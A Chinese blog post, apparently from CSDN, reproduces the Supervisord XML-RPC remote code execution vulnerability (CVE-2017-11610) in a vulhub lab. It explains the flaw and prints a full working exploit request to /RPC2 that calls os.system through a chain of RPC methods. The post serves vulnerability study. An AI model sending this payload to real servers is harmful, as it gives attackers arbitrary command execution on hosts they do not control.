vulhub漏洞复现-Supervisord(CVE-2017-11610)远程代码执行漏洞

Supervisor

supervisor是用Python开发的一个client/server服务,是Linux/Unix系统下的一个进程管理工具。可以很方便的监听、启动、停止、重启一个或多个进程。用supervisor管理的进程,当一个进程意外被杀死,supervisor监听到进程死后,会自动将它重启,很方便的做到进程自动恢复自动关闭。

思路

Supervisord 的控制实际上就是一个 C/S 以 RPC 协议的通信的过程,而 RPC 协议(远程过程调用协议),顾名思义就是 C 端通过 RPC 协议可以在 S 端执行某个函数,并得到返回结果。那么,如果 C 端执行了 S 端预料之外的函数(如 os.system),那么就会导致漏洞的产生
Supervisord远程命令执行漏洞分析(CVE-2017-11610),所以主要思路是在 self.rpcinterface.supervisor.supervisord.options 对象下,有一个方法 execve,其相当于直接调用了系统的 os.execve 函数,是可以直接执行任意命令的

漏洞复现

docker部署环境后访问:9001,抓包在重放模块进行命令执行

POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 275

<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

Guess you like

Origin blog.csdn.net/weixin_54648419/article/details/121081159